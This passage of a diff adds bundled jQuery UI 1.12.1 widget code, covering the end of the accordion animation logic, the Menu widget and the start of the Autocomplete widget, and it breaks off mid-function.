+			this.headers.filter( function() {
+				return parseInt( $( this ).attr( "tabIndex" ), 10 ) === 0;
+			} )
+				.attr( "tabIndex", -1 );
+		}
+
+		toShow
+			.attr( "aria-hidden", "false" )
+			.prev()
+				.attr( {
+					"aria-selected": "true",
+					"aria-expanded": "true",
+					tabIndex: 0
+				} );
+	},
+
+	_animate: function( toShow, toHide, data ) {
+		var total, easing, duration,
+			that = this,
+			adjust = 0,
+			boxSizing = toShow.css( "box-sizing" ),
+			down = toShow.length &&
+				( !toHide.length || ( toShow.index() < toHide.index() ) ),
+			animate = this.options.animate || {},
+			options = down && animate.down || animate,
+			complete = function() {
+				that._toggleComplete( data );
+			};
+
+		if ( typeof options === "number" ) {
+			duration = options;
+		}
+		if ( typeof options === "string" ) {
+			easing = options;
+		}
+
+		// fall back from options to animation in case of partial down settings
+		easing = easing || options.easing || animate.easing;
+		duration = duration || options.duration || animate.duration;
+
+		if ( !toHide.length ) {
+			return toShow.animate( this.showProps, duration, easing, complete );
+		}
+		if ( !toShow.length ) {
+			return toHide.animate( this.hideProps, duration, easing, complete );
+		}
+
+		total = toShow.show().outerHeight();
+		toHide.animate( this.hideProps, {
+			duration: duration,
+			easing: easing,
+			step: function( now, fx ) {
+				fx.now = Math.round( now );
+			}
+		} );
+		toShow
+			.hide()
+			.animate( this.showProps, {
+				duration: duration,
+				easing: easing,
+				complete: complete,
+				step: function( now, fx ) {
+					fx.now = Math.round( now );
+					if ( fx.prop !== "height" ) {
+						if ( boxSizing === "content-box" ) {
+							adjust += fx.now;
+						}
+					} else if ( that.options.heightStyle !== "content" ) {
+						fx.now = Math.round( total - toHide.outerHeight() - adjust );
+						adjust = 0;
+					}
+				}
+			} );
+	},
+
+	_toggleComplete: function( data ) {
+		var toHide = data.oldPanel,
+			prev = toHide.prev();
+
+		this._removeClass( toHide, "ui-accordion-content-active" );
+		this._removeClass( prev, "ui-accordion-header-active" )
+			._addClass( prev, "ui-accordion-header-collapsed" );
+
+		// Work around for rendering bug in IE (#5421)
+		if ( toHide.length ) {
+			toHide.parent()[ 0 ].className = toHide.parent()[ 0 ].className;
+		}
+		this._trigger( "activate", null, data );
+	}
+} );
+
+
+
+var safeActiveElement = $.ui.safeActiveElement = function( document ) {
+	var activeElement;
+
+	// Support: IE 9 only
+	// IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe>
+	try {
+		activeElement = document.activeElement;
+	} catch ( error ) {
+		activeElement = document.body;
+	}
+
+	// Support: IE 9 - 11 only
+	// IE may return null instead of an element
+	// Interestingly, this only seems to occur when NOT in an iframe
+	if ( !activeElement ) {
+		activeElement = document.body;
+	}
+
+	// Support: IE 11 only
+	// IE11 returns a seemingly empty object in some cases when accessing
+	// document.activeElement from an <iframe>
+	if ( !activeElement.nodeName ) {
+		activeElement = document.body;
+	}
+
+	return activeElement;
+};
+
+
+/*!
+ * jQuery UI Menu 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Menu
+//>>group: Widgets
+//>>description: Creates nestable menus.
+//>>docs: http://api.jqueryui.com/menu/
+//>>demos: http://jqueryui.com/menu/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/menu.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+var widgetsMenu = $.widget( "ui.menu", {
+	version: "1.12.1",
+	defaultElement: "<ul>",
+	delay: 300,
+	options: {
+		icons: {
+			submenu: "ui-icon-caret-1-e"
+		},
+		items: "> *",
+		menus: "ul",
+		position: {
+			my: "left top",
+			at: "right top"
+		},
+		role: "menu",
+
+		// Callbacks
+		blur: null,
+		focus: null,
+		select: null
+	},
+
+	_create: function() {
+		this.activeMenu = this.element;
+
+		// Flag used to prevent firing of the click handler
+		// as the event bubbles up through nested menus
+		this.mouseHandled = false;
+		this.element
+			.uniqueId()
+			.attr( {
+				role: this.options.role,
+				tabIndex: 0
+			} );
+
+		this._addClass( "ui-menu", "ui-widget ui-widget-content" );
+		this._on( {
+
+			// Prevent focus from sticking to links inside menu after clicking
+			// them (focus should always stay on UL during navigation).
+			"mousedown .ui-menu-item": function( event ) {
+				event.preventDefault();
+			},
+			"click .ui-menu-item": function( event ) {
+				var target = $( event.target );
+				var active = $( $.ui.safeActiveElement( this.document[ 0 ] ) );
+				if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) {
+					this.select( event );
+
+					// Only set the mouseHandled flag if the event will bubble, see #9469.
+					if ( !event.isPropagationStopped() ) {
+						this.mouseHandled = true;
+					}
+
+					// Open submenu on click
+					if ( target.has( ".ui-menu" ).length ) {
+						this.expand( event );
+					} else if ( !this.element.is( ":focus" ) &&
+							active.closest( ".ui-menu" ).length ) {
+
+						// Redirect focus to the menu
+						this.element.trigger( "focus", [ true ] );
+
+						// If the active item is on the top level, let it stay active.
+						// Otherwise, blur the active item since it is no longer visible.
+						if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) {
+							clearTimeout( this.timer );
+						}
+					}
+				}
+			},
+			"mouseenter .ui-menu-item": function( event ) {
+
+				// Ignore mouse events while typeahead is active, see #10458.
+				// Prevents focusing the wrong item when typeahead causes a scroll while the mouse
+				// is over an item in the menu
+				if ( this.previousFilter ) {
+					return;
+				}
+
+				var actualTarget = $( event.target ).closest( ".ui-menu-item" ),
+					target = $( event.currentTarget );
+
+				// Ignore bubbled events on parent items, see #11641
+				if ( actualTarget[ 0 ] !== target[ 0 ] ) {
+					return;
+				}
+
+				// Remove ui-state-active class from siblings of the newly focused menu item
+				// to avoid a jump caused by adjacent elements both having a class with a border
+				this._removeClass( target.siblings().children( ".ui-state-active" ),
+					null, "ui-state-active" );
+				this.focus( event, target );
+			},
+			mouseleave: "collapseAll",
+			"mouseleave .ui-menu": "collapseAll",
+			focus: function( event, keepActiveItem ) {
+
+				// If there's already an active item, keep it active
+				// If not, activate the first item
+				var item = this.active || this.element.find( this.options.items ).eq( 0 );
+
+				if ( !keepActiveItem ) {
+					this.focus( event, item );
+				}
+			},
+			blur: function( event ) {
+				this._delay( function() {
+					var notContained = !$.contains(
+						this.element[ 0 ],
+						$.ui.safeActiveElement( this.document[ 0 ] )
+					);
+					if ( notContained ) {
+						this.collapseAll( event );
+					}
+				} );
+			},
+			keydown: "_keydown"
+		} );
+
+		this.refresh();
+
+		// Clicks outside of a menu collapse any open menus
+		this._on( this.document, {
+			click: function( event ) {
+				if ( this._closeOnDocumentClick( event ) ) {
+					this.collapseAll( event );
+				}
+
+				// Reset the mouseHandled flag
+				this.mouseHandled = false;
+			}
+		} );
+	},
+
+	_destroy: function() {
+		var items = this.element.find( ".ui-menu-item" )
+				.removeAttr( "role aria-disabled" ),
+			submenus = items.children( ".ui-menu-item-wrapper" )
+				.removeUniqueId()
+				.removeAttr( "tabIndex role aria-haspopup" );
+
+		// Destroy (sub)menus
+		this.element
+			.removeAttr( "aria-activedescendant" )
+			.find( ".ui-menu" ).addBack()
+				.removeAttr( "role aria-labelledby aria-expanded aria-hidden aria-disabled " +
+					"tabIndex" )
+				.removeUniqueId()
+				.show();
+
+		submenus.children().each( function() {
+			var elem = $( this );
+			if ( elem.data( "ui-menu-submenu-caret" ) ) {
+				elem.remove();
+			}
+		} );
+	},
+
+	_keydown: function( event ) {
+		var match, prev, character, skip,
+			preventDefault = true;
+
+		switch ( event.keyCode ) {
+		case $.ui.keyCode.PAGE_UP:
+			this.previousPage( event );
+			break;
+		case $.ui.keyCode.PAGE_DOWN:
+			this.nextPage( event );
+			break;
+		case $.ui.keyCode.HOME:
+			this._move( "first", "first", event );
+			break;
+		case $.ui.keyCode.END:
+			this._move( "last", "last", event );
+			break;
+		case $.ui.keyCode.UP:
+			this.previous( event );
+			break;
+		case $.ui.keyCode.DOWN:
+			this.next( event );
+			break;
+		case $.ui.keyCode.LEFT:
+			this.collapse( event );
+			break;
+		case $.ui.keyCode.RIGHT:
+			if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
+				this.expand( event );
+			}
+			break;
+		case $.ui.keyCode.ENTER:
+		case $.ui.keyCode.SPACE:
+			this._activate( event );
+			break;
+		case $.ui.keyCode.ESCAPE:
+			this.collapse( event );
+			break;
+		default:
+			preventDefault = false;
+			prev = this.previousFilter || "";
+			skip = false;
+
+			// Support number pad values
+			character = event.keyCode >= 96 && event.keyCode <= 105 ?
+				( event.keyCode - 96 ).toString() : String.fromCharCode( event.keyCode );
+
+			clearTimeout( this.filterTimer );
+
+			if ( character === prev ) {
+				skip = true;
+			} else {
+				character = prev + character;
+			}
+
+			match = this._filterMenuItems( character );
+			match = skip && match.index( this.active.next() ) !== -1 ?
+				this.active.nextAll( ".ui-menu-item" ) :
+				match;
+
+			// If no matches on the current filter, reset to the last character pressed
+			// to move down the menu to the first item that starts with that character
+			if ( !match.length ) {
+				character = String.fromCharCode( event.keyCode );
+				match = this._filterMenuItems( character );
+			}
+
+			if ( match.length ) {
+				this.focus( event, match );
+				this.previousFilter = character;
+				this.filterTimer = this._delay( function() {
+					delete this.previousFilter;
+				}, 1000 );
+			} else {
+				delete this.previousFilter;
+			}
+		}
+
+		if ( preventDefault ) {
+			event.preventDefault();
+		}
+	},
+
+	_activate: function( event ) {
+		if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
+			if ( this.active.children( "[aria-haspopup='true']" ).length ) {
+				this.expand( event );
+			} else {
+				this.select( event );
+			}
+		}
+	},
+
+	refresh: function() {
+		var menus, items, newSubmenus, newItems, newWrappers,
+			that = this,
+			icon = this.options.icons.submenu,
+			submenus = this.element.find( this.options.menus );
+
+		this._toggleClass( "ui-menu-icons", null, !!this.element.find( ".ui-icon" ).length );
+
+		// Initialize nested menus
+		newSubmenus = submenus.filter( ":not(.ui-menu)" )
+			.hide()
+			.attr( {
+				role: this.options.role,
+				"aria-hidden": "true",
+				"aria-expanded": "false"
+			} )
+			.each( function() {
+				var menu = $( this ),
+					item = menu.prev(),
+					submenuCaret = $( "<span>" ).data( "ui-menu-submenu-caret", true );
+
+				that._addClass( submenuCaret, "ui-menu-icon", "ui-icon " + icon );
+				item
+					.attr( "aria-haspopup", "true" )
+					.prepend( submenuCaret );
+				menu.attr( "aria-labelledby", item.attr( "id" ) );
+			} );
+
+		this._addClass( newSubmenus, "ui-menu", "ui-widget ui-widget-content ui-front" );
+
+		menus = submenus.add( this.element );
+		items = menus.find( this.options.items );
+
+		// Initialize menu-items containing spaces and/or dashes only as dividers
+		items.not( ".ui-menu-item" ).each( function() {
+			var item = $( this );
+			if ( that._isDivider( item ) ) {
+				that._addClass( item, "ui-menu-divider", "ui-widget-content" );
+			}
+		} );
+
+		// Don't refresh list items that are already adapted
+		newItems = items.not( ".ui-menu-item, .ui-menu-divider" );
+		newWrappers = newItems.children()
+			.not( ".ui-menu" )
+				.uniqueId()
+				.attr( {
+					tabIndex: -1,
+					role: this._itemRole()
+				} );
+		this._addClass( newItems, "ui-menu-item" )
+			._addClass( newWrappers, "ui-menu-item-wrapper" );
+
+		// Add aria-disabled attribute to any disabled menu item
+		items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" );
+
+		// If the active item has been removed, blur the menu
+		if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
+			this.blur();
+		}
+	},
+
+	_itemRole: function() {
+		return {
+			menu: "menuitem",
+			listbox: "option"
+		}[ this.options.role ];
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "icons" ) {
+			var icons = this.element.find( ".ui-menu-icon" );
+			this._removeClass( icons, null, this.options.icons.submenu )
+				._addClass( icons, null, value.submenu );
+		}
+		this._super( key, value );
+	},
+
+	_setOptionDisabled: function( value ) {
+		this._super( value );
+
+		this.element.attr( "aria-disabled", String( value ) );
+		this._toggleClass( null, "ui-state-disabled", !!value );
+	},
+
+	focus: function( event, item ) {
+		var nested, focused, activeParent;
+		this.blur( event, event && event.type === "focus" );
+
+		this._scrollIntoView( item );
+
+		this.active = item.first();
+
+		focused = this.active.children( ".ui-menu-item-wrapper" );
+		this._addClass( focused, null, "ui-state-active" );
+
+		// Only update aria-activedescendant if there's a role
+		// otherwise we assume focus is managed elsewhere
+		if ( this.options.role ) {
+			this.element.attr( "aria-activedescendant", focused.attr( "id" ) );
+		}
+
+		// Highlight active parent menu item, if any
+		activeParent = this.active
+			.parent()
+				.closest( ".ui-menu-item" )
+					.children( ".ui-menu-item-wrapper" );
+		this._addClass( activeParent, null, "ui-state-active" );
+
+		if ( event && event.type === "keydown" ) {
+			this._close();
+		} else {
+			this.timer = this._delay( function() {
+				this._close();
+			}, this.delay );
+		}
+
+		nested = item.children( ".ui-menu" );
+		if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) {
+			this._startOpening( nested );
+		}
+		this.activeMenu = item.parent();
+
+		this._trigger( "focus", event, { item: item } );
+	},
+
+	_scrollIntoView: function( item ) {
+		var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;
+		if ( this._hasScroll() ) {
+			borderTop = parseFloat( $.css( this.activeMenu[ 0 ], "borderTopWidth" ) ) || 0;
+			paddingTop = parseFloat( $.css( this.activeMenu[ 0 ], "paddingTop" ) ) || 0;
+			offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop;
+			scroll = this.activeMenu.scrollTop();
+			elementHeight = this.activeMenu.height();
+			itemHeight = item.outerHeight();
+
+			if ( offset < 0 ) {
+				this.activeMenu.scrollTop( scroll + offset );
+			} else if ( offset + itemHeight > elementHeight ) {
+				this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight );
+			}
+		}
+	},
+
+	blur: function( event, fromFocus ) {
+		if ( !fromFocus ) {
+			clearTimeout( this.timer );
+		}
+
+		if ( !this.active ) {
+			return;
+		}
+
+		this._removeClass( this.active.children( ".ui-menu-item-wrapper" ),
+			null, "ui-state-active" );
+
+		this._trigger( "blur", event, { item: this.active } );
+		this.active = null;
+	},
+
+	_startOpening: function( submenu ) {
+		clearTimeout( this.timer );
+
+		// Don't open if already open fixes a Firefox bug that caused a .5 pixel
+		// shift in the submenu position when mousing over the caret icon
+		if ( submenu.attr( "aria-hidden" ) !== "true" ) {
+			return;
+		}
+
+		this.timer = this._delay( function() {
+			this._close();
+			this._open( submenu );
+		}, this.delay );
+	},
+
+	_open: function( submenu ) {
+		var position = $.extend( {
+			of: this.active
+		}, this.options.position );
+
+		clearTimeout( this.timer );
+		this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) )
+			.hide()
+			.attr( "aria-hidden", "true" );
+
+		submenu
+			.show()
+			.removeAttr( "aria-hidden" )
+			.attr( "aria-expanded", "true" )
+			.position( position );
+	},
+
+	collapseAll: function( event, all ) {
+		clearTimeout( this.timer );
+		this.timer = this._delay( function() {
+
+			// If we were passed an event, look for the submenu that contains the event
+			var currentMenu = all ? this.element :
+				$( event && event.target ).closest( this.element.find( ".ui-menu" ) );
+
+			// If we found no valid submenu ancestor, use the main menu to close all
+			// sub menus anyway
+			if ( !currentMenu.length ) {
+				currentMenu = this.element;
+			}
+
+			this._close( currentMenu );
+
+			this.blur( event );
+
+			// Work around active item staying active after menu is blurred
+			this._removeClass( currentMenu.find( ".ui-state-active" ), null, "ui-state-active" );
+
+			this.activeMenu = currentMenu;
+		}, this.delay );
+	},
+
+	// With no arguments, closes the currently active menu - if nothing is active
+	// it closes all menus.  If passed an argument, it will search for menus BELOW
+	_close: function( startMenu ) {
+		if ( !startMenu ) {
+			startMenu = this.active ? this.active.parent() : this.element;
+		}
+
+		startMenu.find( ".ui-menu" )
+			.hide()
+			.attr( "aria-hidden", "true" )
+			.attr( "aria-expanded", "false" );
+	},
+
+	_closeOnDocumentClick: function( event ) {
+		return !$( event.target ).closest( ".ui-menu" ).length;
+	},
+
+	_isDivider: function( item ) {
+
+		// Match hyphen, em dash, en dash
+		return !/[^\-\u2014\u2013\s]/.test( item.text() );
+	},
+
+	collapse: function( event ) {
+		var newItem = this.active &&
+			this.active.parent().closest( ".ui-menu-item", this.element );
+		if ( newItem && newItem.length ) {
+			this._close();
+			this.focus( event, newItem );
+		}
+	},
+
+	expand: function( event ) {
+		var newItem = this.active &&
+			this.active
+				.children( ".ui-menu " )
+					.find( this.options.items )
+						.first();
+
+		if ( newItem && newItem.length ) {
+			this._open( newItem.parent() );
+
+			// Delay so Firefox will not hide activedescendant change in expanding submenu from AT
+			this._delay( function() {
+				this.focus( event, newItem );
+			} );
+		}
+	},
+
+	next: function( event ) {
+		this._move( "next", "first", event );
+	},
+
+	previous: function( event ) {
+		this._move( "prev", "last", event );
+	},
+
+	isFirstItem: function() {
+		return this.active && !this.active.prevAll( ".ui-menu-item" ).length;
+	},
+
+	isLastItem: function() {
+		return this.active && !this.active.nextAll( ".ui-menu-item" ).length;
+	},
+
+	_move: function( direction, filter, event ) {
+		var next;
+		if ( this.active ) {
+			if ( direction === "first" || direction === "last" ) {
+				next = this.active
+					[ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" )
+					.eq( -1 );
+			} else {
+				next = this.active
+					[ direction + "All" ]( ".ui-menu-item" )
+					.eq( 0 );
+			}
+		}
+		if ( !next || !next.length || !this.active ) {
+			next = this.activeMenu.find( this.options.items )[ filter ]();
+		}
+
+		this.focus( event, next );
+	},
+
+	nextPage: function( event ) {
+		var item, base, height;
+
+		if ( !this.active ) {
+			this.next( event );
+			return;
+		}
+		if ( this.isLastItem() ) {
+			return;
+		}
+		if ( this._hasScroll() ) {
+			base = this.active.offset().top;
+			height = this.element.height();
+			this.active.nextAll( ".ui-menu-item" ).each( function() {
+				item = $( this );
+				return item.offset().top - base - height < 0;
+			} );
+
+			this.focus( event, item );
+		} else {
+			this.focus( event, this.activeMenu.find( this.options.items )
+				[ !this.active ? "first" : "last" ]() );
+		}
+	},
+
+	previousPage: function( event ) {
+		var item, base, height;
+		if ( !this.active ) {
+			this.next( event );
+			return;
+		}
+		if ( this.isFirstItem() ) {
+			return;
+		}
+		if ( this._hasScroll() ) {
+			base = this.active.offset().top;
+			height = this.element.height();
+			this.active.prevAll( ".ui-menu-item" ).each( function() {
+				item = $( this );
+				return item.offset().top - base + height > 0;
+			} );
+
+			this.focus( event, item );
+		} else {
+			this.focus( event, this.activeMenu.find( this.options.items ).first() );
+		}
+	},
+
+	_hasScroll: function() {
+		return this.element.outerHeight() < this.element.prop( "scrollHeight" );
+	},
+
+	select: function( event ) {
+
+		// TODO: It should never be possible to not have an active item at this
+		// point, but the tests don't trigger mouseenter before click.
+		this.active = this.active || $( event.target ).closest( ".ui-menu-item" );
+		var ui = { item: this.active };
+		if ( !this.active.has( ".ui-menu" ).length ) {
+			this.collapseAll( event, true );
+		}
+		this._trigger( "select", event, ui );
+	},
+
+	_filterMenuItems: function( character ) {
+		var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ),
+			regex = new RegExp( "^" + escapedCharacter, "i" );
+
+		return this.activeMenu
+			.find( this.options.items )
+
+				// Only match on items, not dividers or other content (#10571)
+				.filter( ".ui-menu-item" )
+					.filter( function() {
+						return regex.test(
+							$.trim( $( this ).children( ".ui-menu-item-wrapper" ).text() ) );
+					} );
+	}
+} );
+
+
+/*!
+ * jQuery UI Autocomplete 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Autocomplete
+//>>group: Widgets
+//>>description: Lists suggested words as the user is typing.
+//>>docs: http://api.jqueryui.com/autocomplete/
+//>>demos: http://jqueryui.com/autocomplete/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/autocomplete.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+$.widget( "ui.autocomplete", {
+	version: "1.12.1",
+	defaultElement: "<input>",
+	options: {
+		appendTo: null,
+		autoFocus: false,
+		delay: 300,
+		minLength: 1,
+		position: {
+			my: "left top",
+			at: "left bottom",
+			collision: "none"
+		},
+		source: null,
+
+		// Callbacks
+		change: null,
+		close: null,
+		focus: null,
+		open: null,
+		response: null,
+		search: null,
+		select: null
+	},
+
+	requestIndex: 0,
+	pending: 0,
+
+	_create: function() {
+
+		// Some browsers only repeat keydown events, not keypress events,
+		// so we use the suppressKeyPress flag to determine if we've already
+		// handled the keydown event. #7269
+		// Unfortunately the code for & in keypress is the same as the up arrow,
+		// so we use the suppressKeyPressRepeat flag to avoid handling keypress
+		// events when we know the keydown event was used to modify the
+		// search term. #7799
+		var suppressKeyPress, suppressKeyPressRepeat, suppressInput,
+			nodeName = this.element[ 0 ].nodeName.toLowerCase(),
+			isTextarea = nodeName === "textarea",
+			isInput = nodeName === "input";
+
+		// Textareas are always multi-line
+		// Inputs are always single-line, even if inside a contentEditable element
+		// IE also treats inputs as contentEditable
+		// All other element types are determined by whether or not they're contentEditable
+		this.isMultiLine = isTextarea || !isInput && this._isContentEditable( this.element );
+
+		this.valueMethod = this.element[ isTextarea || isInput ? "val" : "text" ];
+		this.isNewMenu = true;
+
+		this._addClass( "ui-autocomplete-input" );
+		this.element.attr( "autocomplete", "off" );
+
+		this._on( this.element, {
+			keydown: function( event ) {
+				if ( this.element.prop( "readOnly" ) ) {
+					suppressKeyPress = true;
+					suppressInput = true;
+					suppressKeyPressRepeat = true;
+					return;
+				}
+
+				suppressKeyPress = false;
+				suppressInput = false;
+				suppressKeyPressRepeat = false;
+				var keyCode = $.ui.keyCode;
+				switch ( event.keyCode ) {
+				case keyCode.PAGE_UP:
+					suppressKeyPress = true;
+					this._move( "previousPage", event );
+					break;
+				case keyCode.PAGE_DOWN:
+					suppressKeyPress = true;
+					this._move( "nextPage", event );
+					break;
+				case keyCode.UP:
+					suppressKeyPress = true;
+					this._keyEvent( "previous", event );
+					break;
+				case keyCode.DOWN:
+					suppressKeyPress = true;
+					this._keyEvent( "next", event );
+					break;
+				case keyCode.ENTER:
+
+					// when menu is open and has focus
+					if ( this.menu.active ) {
+
+						// #6055 - Opera still allows the keypress to occur
+						// which causes forms to submit
+						suppressKeyPress = true;
+						event.preventDefault();
+						this.menu.select( event );
+					}
+					break;
+				case keyCode.TAB:
+					if ( this.menu.active ) {
+						this.menu.select( event );
+					}
+					break;
+				case keyCode.ESCAPE:
+					if ( this.menu.element.is( ":visible" ) ) {
+						if ( !this.isMultiLine ) {
+							this._value( this.term );
+						}
+						this.close( event );
+
+						// Different browsers have different default behavior for escape
+						// Single press can mean undo or clear
+						// Double press in IE means clear the whole form
+						event.preventDefault();
+					}
+					break;
+				default:
+					suppressKeyPressRepeat = true;
+
+					// search timeout should be triggered before the input value is changed
+					this._searchTimeout( event );
+					break;
+				}
+			},
+			keypress: function( event ) {
+				if ( suppressKeyPress ) {
+					suppressKeyPress = false;
+					if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
+						event.preventDefault();
+					}
+					return;
+				}
+				if ( suppressKeyPressRepeat ) {
+					return;
+				}
+
+				// Replicate some key handlers to allow them to repeat in Firefox and Opera
+				var keyCode = $.ui.keyCode;
+				switch ( event.keyCode ) {
+				case keyCode.PAGE_UP:
+					this._move( "previousPage", event );
+					break;
+				case keyCode.PAGE_DOWN:
+					this._move( "nextPage", event );
+					break;
+				case keyCode.UP:
+					this._keyEvent( "previous", event );
+					break;
+				case keyCode.DOWN:
+					this._keyEvent( "next", event );
+					break;
+				}
+			},
+			input: function( event ) {
+				if ( suppressInput ) {
+					suppressInput = false;
+					event.preventDefault();
+					return;
+				}
+				this._searchTimeout( event );
+			},
+			focus: function() {
+				this.selectedItem = null;
+				this.previous = this._value();
+			},
+			blur: function( event ) {
+				if ( this.cancelBlur ) {
+					delete this.cancelBlur;
+					return;
+				}
+
+				clearTimeout( this.searching );
+				this.close( event );
+				this._change( event );
+			}
+		} );
+
+		this._initSource();
+		this.menu = $( "<ul>" )
+			.appendTo( this._appendTo() )
+			.menu( {
+
+				// disable ARIA support, the live region takes care of that
+				role: null
+			} )
+			.hide()
+			.menu( "instance" );
+
+		this._addClass( this.menu.element, "ui-autocomplete", "ui-front" );
+		this._on( this.menu.element, {
+			mousedown: function( event ) {
+
+				// prevent moving focus out of the text field
+				event.preventDefault();
+
+				// IE doesn't prevent moving focus even with event.preventDefault()
+				// so we set a flag to know when we should ignore the blur event
+				this.cancelBlur = true;
+				this._delay( function() {
+					delete this.cancelBlur;
+
+					// Support: IE 8 only
+					// Right clicking a menu item or selecting text from the menu items will
+					// result in focus moving out of the input. However, we've already received
+					// and ignored the blur event because of the cancelBlur flag set above. So
+					// we restore focus to ensure that the menu closes properly based on the user's
+					// next actions.
+					if ( this.element[ 0 ] !== $.ui.safeActiveElement( this.document[ 0 ] ) ) {
+						this.element.trigger( "focus" );
+					}
+				} );
+			},
+			menufocus: function( event, ui ) {
+				var label, item;
+
+				// support: Firefox
+				// Prevent accidental activation of menu items in Firefox (#7024 #9118)
+				if ( this.isNewMenu ) {
+					this.isNewMenu = false;
+					if ( event.originalEvent && /^mouse/.test( event.originalEvent.type ) ) {
+						this.menu.blur();
+
+						this.document.one( "mousemove", function() {
+							$( event.target ).trigger( event.originalEvent );
+						} );
+
+						return;
+					}
+				}
+
+				item = ui.item.data( "ui-autocomplete-item" );
+				if ( false !== this._trigger( "focus", event, { item: item } ) ) {
+
+					// use value to match what will end up in the input, if it was a key event
+					if ( event.originalEvent && /^key/.test( event.originalEvent.type ) ) {
+						this._value( item.value );
+					}
+				}
+
+				// Announce the value in the liveRegion
+				label = ui.item.attr( "aria-label" ) || item.value;
+				if ( label && $.trim( label ).length ) {
+					this.liveRegion.children().hide();
+					$( "<div>" ).text( label ).appendTo( this.liveRegion );
+				}
+			},
+			menuselect: function( event, ui ) {
+				var item = ui.item.data( "ui-autocomplete-item" ),
+					previous = this.previous;
+
+				// Only trigger when focus was lost (click on menu)
+				if ( this.element[ 0 ] !== $.ui.safeActiveElement( this.document[ 0 ] ) ) {
+					this.element.trigger( "focus" );
+					this.previous = previous;
+
+					// #6109 - IE triggers two focus events and the second
+					// is asynchronous, so we need to reset the previous
+					// term synchronously and asynchronously :-(
+					this._delay( function() {
+						this.previous = previous;
+						this.selectedItem = item;
+					} );
+				}
+
+				if ( false !== this._trigger( "select", event, { item: item } ) ) {
+					this._value( item.value );
+				}
+
+				// reset the term after the select event
+				// this allows custom select handling to work properly
+				this.term = this._value();
+
+				this.close( event );
+				this.selectedItem = item;
+			}
+		} );
+
+		this.liveRegion = $( "<div>", {
+			role: "status",
+			"aria-live": "assertive",
+			"aria-relevant": "additions"
+		} )
+			.appendTo( this.document[ 0 ].body );
+
+		this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" );
+
+		// Turning off autocomplete prevents the browser from remembering the
+		// value when navigating through history, so we re-enable autocomplete
+		// if the page is unloaded before the widget is destroyed. #7790
+		this._on( this.window, {
+			beforeunload: function() {
+				this.element.removeAttr( "autocomplete" );
+			}
+		} );
+	},
+
+	_destroy: function() {
+		clearTimeout( this.searching );
+		this.element.removeAttr( "autocomplete" );
+		this.menu.element.remove();
+		this.liveRegion.remove();
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+		if ( key === "source" ) {
+			this._initSource();
+		}
+		if ( key === "appendTo" ) {
+			this.menu.element.appendTo( this._appendTo() );
+		}
+		if ( key === "disabled" && value && this.xhr ) {
+			this.xhr.abort();
+		}
+	},
+
+	_isEventTargetInWidget: function( event ) {
+		var menuElement = this.menu.element[ 0 ];
+
+		return event.target === this.element[ 0 ] ||
+			event.target === menuElement ||
+			$.contains( menuElement, event.target );
+	},
+
+	_closeOnClickOutside: function( event ) {
+		if ( !this._isEventTargetInWidget( event ) ) {
+			this.close();
+		}
+	},
+
+	_appendTo: function() {
+		var element = this.options.appendTo;
+
+		if ( element ) {
+			element = element.jquery || element.nodeType ?
+				$( element ) :
+				this.document.find( element ).eq( 0 );
+		}
+
+		if ( !element || !element[ 0 ] ) {
+			element = this.element.closest( ".ui-front, dialog" );
+		}
+
+		if ( !element.length ) {
+			element = this.document[ 0 ].body;
+		}
+
+		return element;
+	},
+
+	_initSource: function() {
+		var array, url,
+			that = this;
+		if ( $.isArray( this.options.source ) ) {
+			array = this.options.source;
+			this.source = function( request, response ) {
+				response( $.ui.autocomplete.filter( array, request.term ) );
+			};
+		} else if ( typeof this.options.source === "string" ) {
+			url = this.options.source;
+			this.source = function( request, response ) {
+				if ( that.xhr ) {
+					that.xhr.abort();
+				}
+				that.xhr = $.ajax( {
+					url: url,
+					data: request,
+					dataType: "json",
+					success: function( data ) {
+						response( data );
+					},
+					error: function() {
+						response( [] );
+					}
+				} );
+			};
+		} else {
+			this.source = this.options.source;
+		}
+	},
+
+	_searchTimeout: function( event ) {
+		clearTimeout( this.searching );
+		this.searching = this._delay( function() {
+
+			// Search if the value has changed, or if the user retypes the same value (see #7434)
+			var equalValues = this.term === this._value(),
+				menuVisible = this.menu.element.is( ":visible" ),
+				modifierKey = event.altKey || event.ctrlKey || event.metaKey || event.shiftKey;
+
+			if ( !equalValues || ( equalValues && !menuVisible && !modifierKey ) ) {
+				this.selectedItem = null;
+				this.search( null, event );
+			}
+		}, this.options.delay );
+	},
+
+	search: function( value, event ) {
+		value = value != null ? value : this._value();
+
+		// Always save the actual value, not the one passed as an argument
+		this.term = this._value();
+
+		if ( value.length < this.options.minLength ) {
+			return this.close( event );
+		}
+
+		if ( this._trigger( "search", event ) === false ) {
+			return;
+		}
+
+		return this._search( value );
+	},
+
+	_search: function( value ) {
+		this.pending++;
+		this._addClass( "ui-autocomplete-loading" );
+		this.cancelSearch = false;
+
+		this.source( { term: value }, this._response() );
+	},
+
+	_response: function() {
+		var index = ++this.requestIndex;
+
+		return $.proxy( function( content ) {
